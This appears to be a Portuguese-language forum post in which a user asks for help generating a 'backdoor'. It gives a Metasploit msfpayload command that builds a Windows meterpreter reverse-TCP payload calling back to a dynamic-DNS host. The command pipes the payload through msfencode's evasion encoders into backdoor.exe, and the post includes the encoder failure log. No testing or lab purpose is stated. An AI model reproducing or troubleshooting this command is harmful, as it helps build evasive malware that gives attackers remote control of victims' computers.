Ola amigos.. sou novo no forum e preciso d uma ajuda

ao tentar gerar meus backdoor apresenta problemas com o msfencode aponta varios erros e no final o meu arquivo nao e gerado. sera que alguem pode me ajudar??

segue abaixo oque acontece :

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=host.sytes.net LPORT=444 X | msfencode -c 2 -o backdoor.exe
Created by msfpayload (Penetration Testing | The Metasploit Project).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=host.sytes.net,LPORT=444[*] x86/shikata_ga_nai succeeded with size 37917 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 37946 (iteration=2)

[-] x86/shikata_ga_nai failed: The .text section is too small to be usable ["/opt/metasploit3/msf3/lib/msf/util/exe.rb:175:in `to_win32pe'", "/opt/metasploit3/msf3/msfencode:225:in `block in <main>'", "/opt/metasploit3/msf3/msfencode:192:in `each'", "/opt/metasploit3/msf3/msfencode:192:in `<main>'"][*] cmd/generic_sh succeeded with size 37888 (iteration=1)
[*] cmd/generic_sh succeeded with size 37888 (iteration=2)

[-] cmd/generic_sh failed: The .text section is too small to be usable ["/opt/metasploit3/msf3/lib/msf/util/exe.rb:175:in `to_win32pe'", "/opt/metasploit3/msf3/msfencode:225:in `block in <main>'", "/opt/metasploit3/msf3/msfencode:192:in `each'", "/opt/metasploit3/msf3/msfencode:192:in `<main>'"][*] ppc/longxor succeeded with size 37964 (iteration=1)
[*] ppc/longxor succeeded with size 38040 (iteration=2)

esses erros vao se repetindo e no final nao consigo gerar meu arquivo..

Agradeco antecipadamente a ajuda.